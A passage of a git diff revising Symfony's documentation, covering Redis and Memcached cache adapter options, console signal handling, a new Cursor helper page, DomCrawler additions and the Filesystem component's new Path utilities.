-    :class:`Symfony\\Component\\Cache\\PruneableInterface`, enabling manual
-    :ref:`pruning of expired cache items <component-cache-cache-pool-prune>` by
-    calling its ``prune()`` method.
-
+    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    enabling manual :ref:`pruning of expired cache items <component-cache-cache-pool-prune>`
+    by calling its ``prune()`` method.
 
 .. _filesystem-tag-aware-adapter:
 
diff --git a/components/cache/adapters/memcached_adapter.rst b/components/cache/adapters/memcached_adapter.rst
index 95161637b25..009ead59cbd 100644
--- a/components/cache/adapters/memcached_adapter.rst
+++ b/components/cache/adapters/memcached_adapter.rst
@@ -120,7 +120,6 @@ option names and their respective values::
 
         // associative array of configuration options
         [
-            'compression' => true,
             'libketama_compatible' => true,
             'serializer' => 'igbinary',
         ]
@@ -139,17 +138,6 @@ Available Options
     server(s). Any action that retrieves data, quits the connection, or closes
     down the connection will cause the buffer to be committed.
 
-``compression`` (type: ``bool``, default: ``true``)
-    Enables or disables payload compression, where item values longer than 100
-    bytes are compressed during storage and decompressed during retrieval.
-
-``compression_type`` (type: ``string``)
-    Specifies the compression method used on value payloads. when the
-    **compression** option is enabled.
-
-    Valid option values include ``fastlz`` and ``zlib``, with a default value
-    that *varies based on flags used at compilation*.
-
 ``connect_timeout`` (type: ``int``, default: ``1000``)
     Specifies the timeout (in milliseconds) of socket connection operations when
     the ``no_block`` option is enabled.
diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
index 841071dc586..b840da76de7 100644
--- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
@@ -44,7 +44,7 @@ your code.
 
 .. note::
 
-    Since Symfony 3.4, this adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
     allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
     calling its ``prune()`` method.
 
diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst
index 5bec5715801..fcb5bcfffd1 100644
--- a/components/cache/adapters/php_files_adapter.rst
+++ b/components/cache/adapters/php_files_adapter.rst
@@ -63,7 +63,7 @@ directory path as constructor arguments::
 
 .. note::
 
-    Since Symfony 3.4, this adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
+    This adapter implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
     allowing for manual :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
     calling its ``prune()`` method.
 
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 64bf7ab9e4c..6ba77c2f35a 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -62,7 +62,8 @@ helper method allows creating and configuring the Redis client class instance us
     );
 
 The DSN can specify either an IP/host (and an optional port) or a socket path, as well as a
-password and a database index.
+password and a database index. To enable TLS for connections, the scheme ``redis`` must be
+replaced by ``rediss`` (the second ``s`` means "secure").
 
 .. note::
 
@@ -70,7 +71,7 @@ password and a database index.
 
     .. code-block:: text
 
-        redis://[pass@][ip|host|socket[:port]][/db-index]
+        redis[s]://[pass@][ip|host|socket[:port]][/db-index]
 
 Below are common examples of valid DSNs showing a combination of available values::
 
@@ -95,8 +96,8 @@ Below are common examples of valid DSNs showing a combination of available value
     );
 
 `Redis Sentinel`_, which provides high availability for Redis, is also supported
-when using the Predis library. Use the ``redis_sentinel`` parameter to set the
-name of your service group::
+when using the PHP Redis Extension v5.2+ or the Predis library. Use the ``redis_sentinel``
+parameter to set the name of your service group::
 
     RedisAdapter::createConnection(
         'redis:?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster'
@@ -123,7 +124,6 @@ array of ``key => value`` pairs representing option names and their respective v
 
         // associative array of configuration options
         [
-            'compression' => true,
             'lazy' => false,
             'persistent' => 0,
             'persistent_id' => null,
@@ -143,10 +143,6 @@ Available Options
     If none is specified, it will return ``\Redis`` if the ``redis`` extension is
     available, and ``\Predis\Client`` otherwise.
 
-``compression`` (type: ``bool``, default: ``true``)
-    Enables or disables compression of items. This requires phpredis v4 or higher with
-    LZF support enabled.
-
 ``lazy`` (type: ``bool``, default: ``false``)
     Enables or disables lazy connections to the backend. It's ``false`` by
     default when using this as a stand-alone component and ``true`` by default
@@ -193,6 +189,23 @@ In order to use tag-based invalidation, you can wrap your adapter in :class:`Sym
     $client = RedisAdapter::createConnection('redis://localhost');
     $cache = new RedisTagAwareAdapter($client);
 
+Configuring Redis
+~~~~~~~~~~~~~~~~~
+
+When using Redis as cache, you should configure the ``maxmemory`` and ``maxmemory-policy``
+settings. By setting ``maxmemory``, you limit how much memory Redis is allowed to consume.
+If the amount is too low, Redis will drop entries that would still be useful and you benefit
+less from your cache. Setting the ``maxmemory-policy`` to ``allkeys-lru`` tells Redis that
+it is ok to drop data when it runs out of memory, and to first drop the oldest entries (least
+recently used). If you do not allow Redis to drop entries, it will return an error when you
+try to add data when no memory is available. An example setting could look as follows:
+
+.. code-block:: ini
+
+    maxmemory 100mb
+    maxmemory-policy allkeys-lru
+
+Read more about this topic in the offical `Redis LRU Cache Documentation`_.
 
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
@@ -203,3 +216,4 @@ In order to use tag-based invalidation, you can wrap your adapter in :class:`Sym
 .. _`Predis Connection Parameters`: https://github.com/nrk/predis/wiki/Connection-Parameters#list-of-connection-parameters
 .. _`TCP-keepalive`: https://redis.io/topics/clients#tcp-keepalive
 .. _`Redis Sentinel`: https://redis.io/topics/sentinel
+.. _`Redis LRU Cache Documentation`: https://redis.io/topics/lru-cache
diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst
index bef2c29b0b7..d7e44031d90 100644
--- a/components/cache/cache_invalidation.rst
+++ b/components/cache/cache_invalidation.rst
@@ -87,7 +87,7 @@ your fronts and have very fast invalidation checks::
 
 .. note::
 
-    Since Symfony 3.4, :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`
+    :class:`Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter`
     implements :class:`Symfony\\Component\\Cache\\PruneableInterface`,
     enabling manual
     :ref:`pruning of expired cache entries <component-cache-cache-pool-prune>` by
diff --git a/components/console/events.rst b/components/console/events.rst
index 7183c2e75f7..6b7078b2c11 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -154,4 +154,75 @@ Listeners receive a
     It is then dispatched just after the ``ConsoleEvents::ERROR`` event.
     The exit code received in this case is the exception code.
 
+The ``ConsoleEvents::SIGNAL`` Event
+-----------------------------------
+
+**Typical Purposes**: To perform some actions after the command execution was interrupted.
+
+`Signals`_ are asynchronous notifications sent to a process in order to notify
+it of an event that occurred. For example, when you press ``Ctrl + C`` in a
+command, the operating system sends the ``SIGINT`` signal to it.
+
+When a command is interrupted, Symfony dispatches the ``ConsoleEvents::SIGNAL``
+event. Listen to this event so you can perform some actions (e.g. logging some
+results, cleaning some temporary files, etc.) before finishing the command execution.
+
+Listeners receive a
+:class:`Symfony\\Component\\Console\\Event\\ConsoleSignalEvent` event::
+
+    use Symfony\Component\Console\ConsoleEvents;
+    use Symfony\Component\Console\Event\ConsoleSignalEvent;
+
+    $dispatcher->addListener(ConsoleEvents::SIGNAL, function (ConsoleSignalEvent $event) {
+       
+        // gets the signal number
+        $signal = $event->getHandlingSignal();
+        
+        if (\SIGINT === $signal) {
+            echo "bye bye!";
+        }
+    });
+
+.. tip::
+
+    All the available signals (``SIGINT``, ``SIGQUIT``, etc.) are defined as
+    `constants of the PCNTL PHP extension`_.
+
+If you use the Console component inside a Symfony application, commands can
+handle signals themselves. To do so, implement the
+``SignalableCommandInterface`` and subscribe to one or more signals::
+
+    // src/Command/SomeCommand.php
+    namespace App\Command;
+
+    use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\Command\SignalableCommandInterface;
+
+    class SomeCommand extends Command implements SignalableCommandInterface
+    {
+        // ...
+
+        public function getSubscribedSignals(): array
+        {
+            // return here any of the constants defined by PCNTL extension
+            return [\SIGINT, \SIGTERM];
+        }
+
+        public function handleSignal(int $signal)
+        {
+            if (\SIGINT === $signal) {
+                // ...
+            }
+
+            // ...
+        }
+    }
+
+.. versionadded:: 5.2
+
+    The ``ConsoleSignalEvent`` and ``SignalableCommandInterface`` classes were
+    introduced in Symfony 5.2.
+
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html
+.. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC)
+.. _`constants of the PCNTL PHP extension`: https://www.php.net/manual/en/pcntl.constants.php
diff --git a/components/console/helpers/cursor.rst b/components/console/helpers/cursor.rst
new file mode 100644
index 00000000000..2485498fcab
--- /dev/null
+++ b/components/console/helpers/cursor.rst
@@ -0,0 +1,104 @@
+.. index::
+    single: Console Helpers; Cursor Helper
+
+Cursor Helper
+=============
+
+.. versionadded:: 5.1
+
+    The :class:`Symfony\\Component\\Console\\Cursor` class was introduced
+    in Symfony 5.1.
+
+The :class:`Symfony\\Component\\Console\\Cursor` allows you to change the
+cursor position in a console command. This allows you to write on any position
+of the output:
+
+.. image:: /_images/components/console/cursor.gif
+   :align: center
+
+.. code-block:: php
+
+    // src/Command/MyCommand.php
+    namespace App\Command;
+
+    use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\Cursor;
+    use Symfony\Component\Console\Input\InputInterface;
+    use Symfony\Component\Console\Output\OutputInterface;
+
+    class MyCommand extends Command
+    {
+        // ...
+
+        public function execute(InputInterface $input, OutputInterface $output): int
+        {
+            // ...
+
+            $cursor = new Cursor($output);
+
+            // moves the cursor to a specific column (1st argument) and
+            // row (2nd argument) position
+            $cursor->moveToPosition(7, 11);
+
+            // and write text on this position using the output
+            $output->write('My text');
+
+            // ...
+        }
+    }
+
+Using the cursor
+----------------
+
+Moving the cursor
+.................
+
+There are few methods to control moving the command cursor::
+
+    // moves the cursor 1 line up from its current position
+    $cursor->moveUp();
+
+    // moves the cursor 3 lines up from its current position
+    $cursor->moveUp(3);
+
+    // same for down
+    $cursor->moveDown();
+
+    // moves the cursor 1 column right from its current position
+    $cursor->moveRight();
+
+    // moves the cursor 3 columns right from its current position
+    $cursor->moveRight(3);
+
+    // same for left
+    $cursor->moveLeft();
+
+    // move the cursor to a specific (column, row) position from the
+    // top-left position of the terminal
+    $cursor->moveToPosition(7, 11);
+
+You can get the current command's cursor position by using::
+
+    $position = $cursor->getCurrentPosition();
+    // $position[0] // columns (aka x coordinate)
+    // $position[1] // rows (aka y coordinate)
+
+Clearing output
+...............
+
+The cursor can also clear some output on the screen::
+
+    // clears all the output from the current line
+    $cursor->clearLine();
+
+    // clears all the output from the current line after the current position
+    $cursor->clearLineAfter();
+
+    // clears all the output from the cursors' current position to the end of the screen
+    $cursor->clearOutput();
+
+    // clears the entire screen
+    $cursor->clearScreen();
+
+You also can leverage the :method:`Symfony\\Component\\Console\\Cursor::show`
+and :method:`Symfony\\Component\\Console\\Cursor::hide` methods on the cursor.
diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index ba3c2743d24..78dd3dfa581 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -9,8 +9,8 @@ You can do more advanced things with this helper than you can in
 :doc:`/console/coloring`.
 
 The :class:`Symfony\\Component\\Console\\Helper\\FormatterHelper` is included
-in the default helper set, which you can get by calling
-:method:`Symfony\\Component\\Console\\Command\\Command::getHelperSet`::
+in the default helper set and you can get it by calling
+:method:`Symfony\\Component\\Console\\Command\\Command::getHelper`::
 
     $formatter = $this->getHelper('formatter');
 
@@ -78,7 +78,9 @@ you can write::
     $truncatedMessage = $formatter->truncate($message, 7);
     $output->writeln($truncatedMessage);
 
-And the output will be::
+And the output will be:
+
+.. code-block:: text
 
     This is...
 
@@ -93,7 +95,9 @@ from the end of the string::
 
     $truncatedMessage = $formatter->truncate($message, -5);
 
-This will result in::
+This will result in:
+
+.. code-block:: text
 
     This is a very long message, which should be trun...
 
diff --git a/components/console/helpers/index.rst b/components/console/helpers/index.rst
index 87c62ca7629..09546769655 100644
--- a/components/console/helpers/index.rst
+++ b/components/console/helpers/index.rst
@@ -13,8 +13,9 @@ The Console Helpers
     questionhelper
     table
     debug_formatter
+    cursor
 
 The Console component comes with some useful helpers. These helpers contain
-function to ease some common tasks.
+functions to ease some common tasks.
 
 .. include:: map.rst.inc
diff --git a/components/console/helpers/map.rst.inc b/components/console/helpers/map.rst.inc
index 68e1e722a87..8f9ce0ca0f3 100644
--- a/components/console/helpers/map.rst.inc
+++ b/components/console/helpers/map.rst.inc
@@ -4,3 +4,4 @@
 * :doc:`/components/console/helpers/questionhelper`
 * :doc:`/components/console/helpers/table`
 * :doc:`/components/console/helpers/debug_formatter`
+* :doc:`/components/console/helpers/cursor`
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index c5f07a87893..4f1dd8fe3a5 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -348,8 +348,8 @@ placeholder before displaying the progress bar::
     $progressBar->start();
     // 0/100 -- Start
 
-    $progressBar->advance();
     $progressBar->setMessage('Task is in progress...');
+    $progressBar->advance();
     // 1/100 -- Task is in progress...
 
 Messages can be combined with custom placeholders too. In this example, the
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index a4cc68b80b2..0d687ceeeb4 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -6,13 +6,13 @@ Question Helper
 
 The :class:`Symfony\\Component\\Console\\Helper\\QuestionHelper` provides
 functions to ask the user for more information. It is included in the default
-helper set, which you can get by calling
-:method:`Symfony\\Component\\Console\\Command\\Command::getHelperSet`::
+helper set and you can get it by calling
+:method:`Symfony\\Component\\Console\\Command\\Command::getHelper`::
 
     $helper = $this->getHelper('question');
 
 The Question Helper has a single method
-:method:`Symfony\\Component\\Console\\Command\\Command::ask` that needs an
+:method:`Symfony\\Component\\Console\\Helper\\QuestionHelper::ask` that needs an
 :class:`Symfony\\Component\\Console\\Input\\InputInterface` instance as the
 first argument, an :class:`Symfony\\Component\\Console\\Output\\OutputInterface`
 instance as the second argument and a
@@ -353,6 +353,8 @@ method::
     of the validator. If the answer is invalid, don't throw exceptions in the
     normalizer and let the validator handle those errors.
 
+.. _console-validate-question-answer:
+
 Validating the Answer
 ---------------------
 
@@ -397,6 +399,22 @@ If you reach this max number it will use the default value. Using ``null`` means
 the amount of attempts is infinite. The user will be asked as long as they provide an
 invalid answer and will only be able to proceed if their input is valid.
 
+.. tip::
+
+    You can even use the :doc:`Validator </validation>` component to
+    validate the input by using the :method:`Symfony\\Component\\Validator\\Validation::createCallable`
+    method::
+
+        use Symfony\Component\Validator\Constraints\Regex;
+        use Symfony\Component\Validator\Validation;
+
+        $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
+        $validation = Validation::createCallable(new Regex([
+            'pattern' => '/^[a-zA-Z]+Bundle$',
+            'message' => 'The name of the bundle should be suffixed with \'Bundle\'',
+        ]));
+        $question->setValidator($validation);
+
 Validating a Hidden Response
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -430,8 +448,6 @@ Testing a Command that Expects Input
 If you want to write a unit test for a command which expects some kind of input
 from the command line, you need to set the inputs that the command expects::
 
-    use Symfony\Component\Console\Helper\HelperSet;
-    use Symfony\Component\Console\Helper\QuestionHelper;
     use Symfony\Component\Console\Tester\CommandTester;
 
     // ...
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index aa4c293d834..5e1735ce1a4 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -72,8 +72,8 @@ You can add a table separator anywhere in the output by passing an instance of
 You can optionally display titles at the top and the bottom of the table::
 
     // ...
-    $table->setHeaderTitle('Books')
-    $table->setFooterTitle('Page 1/2')
+    $table->setHeaderTitle('Books');
+    $table->setFooterTitle('Page 1/2');
     $table->render();
 
 .. code-block:: terminal
@@ -233,7 +233,7 @@ If the built-in styles do not fit your need, define your own::
 
     // customizes the style
     $tableStyle
-        ->setDefaultCrossingChars('<fg=magenta>|</>')
+        ->setHorizontalBorderChars('<fg=magenta>|</>')
         ->setVerticalBorderChars('<fg=magenta>-</>')
         ->setDefaultCrossingChar(' ')
     ;
@@ -244,7 +244,7 @@ If the built-in styles do not fit your need, define your own::
 Here is a full list of things you can customize:
 
 *  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setPaddingChar`
-*  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setDefaultCrossingChars`
+*  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setHorizontalBorderChars`
 *  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setVerticalBorderChars`
 *  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setCrossingChars`
 *  :method:`Symfony\\Component\\Console\\Helper\\TableStyle::setDefaultCrossingChar`
@@ -338,7 +338,7 @@ This results in:
         $table->setHeaders([
             [new TableCell('Main table title', ['colspan' => 3])],
             ['ISBN', 'Title', 'Author'],
-        ])
+        ]);
         // ...
 
     This generates:
diff --git a/components/css_selector.rst b/components/css_selector.rst
index df9ddd84487..649a34293a4 100644
--- a/components/css_selector.rst
+++ b/components/css_selector.rst
@@ -25,8 +25,8 @@ Usage
     component in any PHP application. Read the :ref:`Symfony Functional Tests <functional-tests>`
     article to learn about how to use it when creating Symfony tests.
 
-Why to Use CSS selectors?
-~~~~~~~~~~~~~~~~~~~~~~~~~
+Why Use CSS selectors?
+~~~~~~~~~~~~~~~~~~~~~~
 
 When you're parsing an HTML or an XML document, by far the most powerful
 method is `XPath`_.
@@ -40,7 +40,7 @@ long and unwieldy expressions.
 Many developers -- particularly web developers -- are more comfortable
 using CSS selectors to find elements. As well as working in stylesheets,
 CSS selectors are used in JavaScript with the ``querySelectorAll()`` function
-and in popular JavaScript libraries such as jQuery, Prototype and MooTools.
+and in popular JavaScript libraries such as jQuery.
 
 CSS selectors are less powerful than XPath, but far easier to write, read
 and understand. Since they are less powerful, almost all CSS selectors can
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 8f50b2b0d0c..d7284046b82 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -197,7 +197,7 @@ The XML version of the config would then look like this:
 
 .. code-block:: xml
 
-    <?xml version="1.0" ?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <container xmlns="http://symfony.com/schema/dic/services"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns:acme_demo="http://www.example.com/symfony/schema/"
@@ -564,8 +564,8 @@ Now the cached dumped container is used regardless of whether debug mode
 is on or not. The difference is that the ``ConfigCache`` is set to debug
 mode with its second constructor argument. When the cache is not in debug
 mode the cached container will always be used if it exists. In debug mode,
-an additional metadata file is written with the timestamps of all the resource
-files. These are then checked to see if the files have changed, if they
+an additional metadata file is written with all the involved resource
+files. These are then checked to see if their timestamps have changed, if they
 have the cache will be considered stale.
 
 .. note::
diff --git a/components/dependency_injection/workflow.rst b/components/dependency_injection/workflow.rst
index 750420f4d47..7ea3c1ea28e 100644
--- a/components/dependency_injection/workflow.rst
+++ b/components/dependency_injection/workflow.rst
@@ -21,7 +21,7 @@ Working with a Cached Container
 -------------------------------
 
 Before building it, the kernel checks to see if a cached version of the
-container exists. The HttpKernel has a debug setting and if this is false,
+container exists. The kernel has a debug setting and if this is false,
 the cached version is used if it exists. If debug is true then the kernel
 :doc:`checks to see if configuration is fresh </components/config/caching>`
 and if it is, the cached version of the container is used. If not then the
diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 55b5d8bc23f..e39a04224e5 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -122,7 +122,7 @@ Consider the XML below:
 
 .. code-block:: xml
 
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <entry
         xmlns="http://www.w3.org/2005/Atom"
         xmlns:media="http://search.yahoo.com/mrss/"
@@ -187,10 +187,14 @@ Get the same level nodes after or before the current selection::
     $crawler->filter('body > p')->nextAll();
     $crawler->filter('body > p')->previousAll();
 
-Get all the child or parent nodes::
+Get all the child or ancestor nodes::
 
     $crawler->filter('body')->children();
-    $crawler->filter('body > p')->parents();
+    $crawler->filter('body > p')->ancestors();
+
+.. versionadded:: 5.3
+
+    The ``ancestors()`` method was introduced in Symfony 5.3.
 
 Get all the direct child nodes matching a CSS selector::
 
@@ -226,6 +230,16 @@ Access the value of the first node of the current selection::
     // pass FALSE as the second argument to return the original text unchanged
     $crawler->filterXPath('//body/p')->text('Default text content', false);
 
+    // innerText() is similar to text() but only returns the text that is
+    // the direct descendant of the current node, excluding any child nodes
+    $text = $crawler->filterXPath('//body/p')->innerText();
+    // if content is <p>Foo <span>Bar</span></p>
+    // innerText() returns 'Foo' and text() returns 'Foo Bar'
+
+.. versionadded:: 5.4
+
+    The ``innerText()`` method was introduced in Symfony 5.4.
+
 Access the attribute value of the first node of the current selection::
 
     $class = $crawler->filterXPath('//body/p')->attr('class');
@@ -269,7 +283,9 @@ context of the crawler::
 Adding the Content
 ~~~~~~~~~~~~~~~~~~
 
-The crawler supports multiple ways of adding the content::
+The crawler supports multiple ways of adding the content, but they are mutually
+exclusive, so you can only use one of them to add content (e.g. if you pass the
+content to the ``Crawler`` constructor, you can't call ``addContent()`` later)::
 
     $crawler = new Crawler('<html><body/></html>');
 
@@ -518,7 +534,9 @@ You can virtually set and get values on the form::
     // where "registration" is its own array
     $values = $form->getPhpValues();
 
-To work with multi-dimensional fields::
+To work with multi-dimensional fields:
+
+.. code-block:: html
 
     <form>
         <input name="multi[]"/>
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 8342967fdac..04cb8422d79 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -238,7 +238,7 @@ determine which instance is passed.
         $containerBuilder->addCompilerPass(new AddEventAliasesPass([
             \AcmeFooActionEvent::class => 'acme.foo.action',
         ]));
-        $containerBuilder->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING)
+        $containerBuilder->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING);
 
         $containerBuilder->register('event_dispatcher', EventDispatcher::class);
 
@@ -305,7 +305,7 @@ order. Start by creating this custom event class and documenting it::
             $this->order = $order;
         }
 
-        public function getOrder()
+        public function getOrder(): Order
         {
             return $this->order;
         }
diff --git a/components/event_dispatcher/generic_event.rst b/components/event_dispatcher/generic_event.rst
index 1f9be477151..1dc2a5be638 100644
--- a/components/event_dispatcher/generic_event.rst
+++ b/components/event_dispatcher/generic_event.rst
@@ -80,7 +80,7 @@ access the event arguments::
     {
         public function handler(GenericEvent $event)
         {
-            if (isset($event['type']) && $event['type'] === 'foo') {
+            if (isset($event['type']) && 'foo' === $event['type']) {
                 // ... do something
             }
 
diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 045451491f5..92e0b90b854 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -200,7 +200,6 @@ Examples::
         'life == everything',
         [
             'life' => 10,
-            'universe' => 10,
             'everything' => 22,
         ]
     );
@@ -209,7 +208,6 @@ Examples::
         'life > everything',
         [
             'life' => 10,
-            'universe' => 10,
             'everything' => 22,
         ]
     );
diff --git a/components/filesystem.rst b/components/filesystem.rst
index 6a9282bfe23..e60e0b389af 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -4,7 +4,8 @@
 The Filesystem Component
 ========================
 
-    The Filesystem component provides basic utilities for the filesystem.
+    The Filesystem component provides platform-independent utilities for
+    filesystem operations and for file/directory paths manipulation.
 
 Installation
 ------------
@@ -18,38 +19,32 @@ Installation
 Usage
 -----
 
-The :class:`Symfony\\Component\\Filesystem\\Filesystem` class is the unique
-endpoint for filesystem operations::
+The component contains two main classes called :class:`Symfony\\Component\\Filesystem\\Filesystem`
+and :class:`Symfony\\Component\\Filesystem\\Path`::
 
     use Symfony\Component\Filesystem\Exception\IOExceptionInterface;
     use Symfony\Component\Filesystem\Filesystem;
+    use Symfony\Component\Filesystem\Path;
 
     $filesystem = new Filesystem();
 
     try {
-        $filesystem->mkdir(sys_get_temp_dir().'/'.random_int(0, 1000));
+        $filesystem->mkdir(
+            Path::normalize(sys_get_temp_dir().'/'.random_int(0, 1000)),
+        );
     } catch (IOExceptionInterface $exception) {
         echo "An error occurred while creating your directory at ".$exception->getPath();
     }
 
-.. note::
-
-    Methods :method:`Symfony\\Component\\Filesystem\\Filesystem::mkdir`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::exists`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::touch`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::remove`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::chmod`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::chown` and
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::chgrp` can receive a
-    string, an array or any object implementing :phpclass:`Traversable` as
-    the target argument.
+Filesystem Utilities
+--------------------
 
 ``mkdir``
 ~~~~~~~~~
 
 :method:`Symfony\\Component\\Filesystem\\Filesystem::mkdir` creates a directory recursively.
 On POSIX filesystems, directories are created with a default mode value
-`0777`. You can use the second argument to set your own mode::
+``0777``. You can use the second argument to set your own mode::
 
     $filesystem->mkdir('/tmp/photos', 0700);
 
@@ -162,7 +157,7 @@ permissions of a file. The fourth argument is a boolean recursive option::
 
     // sets the mode of the video to 0600
     $filesystem->chmod('video.ogg', 0600);
-    // changes the mod of the src directory recursively
+    // changes the mode of the src directory recursively
     $filesystem->chmod('src', 0700, 0000, true);
 
 .. note::
@@ -214,13 +209,9 @@ support symbolic links, a third boolean argument is available::
 
 :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` read links targets.
 
-PHP's :phpfunction:`readlink` function returns the target of a symbolic link. However, its behavior
-is completely different under Windows and Unix. On Windows systems, ``readlink()``
-resolves recursively the children links of a link until a final target is found. On
-Unix-based systems ``readlink()`` only resolves the next link.
-
-The :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` method provided
-by the Filesystem component always behaves in the same way::
+The :method:`Symfony\\Component\\Filesystem\\Filesystem::readlink` method
+provided by the Filesystem component behaves in the same way on all operating
+systems (unlike PHP's :phpfunction:`readlink` function)::
 
     // returns the next direct target of the link without considering the existence of the target
     $filesystem->readlink('/path/to/link');
@@ -240,6 +231,11 @@ Its behavior is the following::
     * if ``$path`` does not exist, it returns null.
     * if ``$path`` exists, it returns its absolute fully resolved final version.
 
+.. note::
+
+    If you wish to canonicalize the path without checking its existence, you can
+    use :method:`Symfony\\Component\\Filesystem\\Path::canonicalize` method instead.
+
 ``makePathRelative``
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -252,7 +248,7 @@ absolute paths and returns the relative path from the second path to the first o
         '/var/lib/symfony/src/Symfony/Component'
     );
     // returns 'videos/'
-    $filesystem->makePathRelative('/tmp/videos', '/tmp')
+    $filesystem->makePathRelative('/tmp/videos', '/tmp');
 
 ``mirror``
 ~~~~~~~~~~
@@ -315,10 +311,200 @@ The ``file.txt`` file contains ``Hello World`` now.
 contents at the end of some file::
 
     $filesystem->appendToFile('logs.txt', 'Email sent to user@example.com');
+    // the third argument tells whether the file should be locked when writing to it
+    $filesystem->appendToFile('logs.txt', 'Email sent to user@example.com', true);
 
 If either the file or its containing directory doesn't exist, this method
 creates them before appending the contents.
 
+.. versionadded:: 5.4
+
+    The third argument of ``appendToFile()`` was introduced in Symfony 5.4.
+
+Path Manipulation Utilities
+---------------------------
+
+.. versionadded:: 5.4
+
+    The :class:`Symfony\\Component\\Filesystem\\Path` class was introduced in Symfony 5.4.
+
+Dealing with file paths usually involves some difficulties:
+
+- Platform differences: file paths look different on different platforms. UNIX
+  file paths start with a slash ("/"), while Windows file paths start with a
+  system drive ("C:"). UNIX uses forward slashes, while Windows uses backslashes
+  by default.
+- Absolute/relative paths: web applications frequently need to deal with absolute
+  and relative paths. Converting one to the other properly is tricky and repetitive.
+
+:class:`Symfony\\Component\\Filesystem\\Path` provides utility methods to tackle
+those issues.
+
+Canonicalization
+~~~~~~~~~~~~~~~~
+
+Returns the shortest path name equivalent to the given path. It applies the
+following rules iteratively until no further processing can be done:
+
+- "." segments are removed;
+- ".." segments are resolved;
+- backslashes ("\") are converted into forward slashes ("/");
+- root paths ("/" and "C:/") always terminate with a slash;
+- non-root paths never terminate with a slash;
+- schemes (such as "phar://") are kept;
+- replace "~" with the user's home directory.
+
+You can canonicalize a path with :method:`Symfony\\Component\\Filesystem\\Path::canonicalize`::
+
+    echo Path::canonicalize('/var/www/vhost/webmozart/../config.ini');
+    // => /var/www/vhost/config.ini
+
+You can pass absolute paths and relative paths to the
+:method:`Symfony\\Component\\Filesystem\\Path::canonicalize` method. When a
+relative path is passed, ".." segments at the beginning of the path are kept::
+
+    echo Path::canonicalize('../uploads/../config/config.yaml');
+    // => ../config/config.yaml
+
+Malformed paths are returned unchanged::
+
+    echo Path::canonicalize('C:Programs/PHP/php.ini');
+    // => C:Programs/PHP/php.ini
+
+Converting Absolute/Relative Paths
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Absolute/relative paths can be converted with the methods
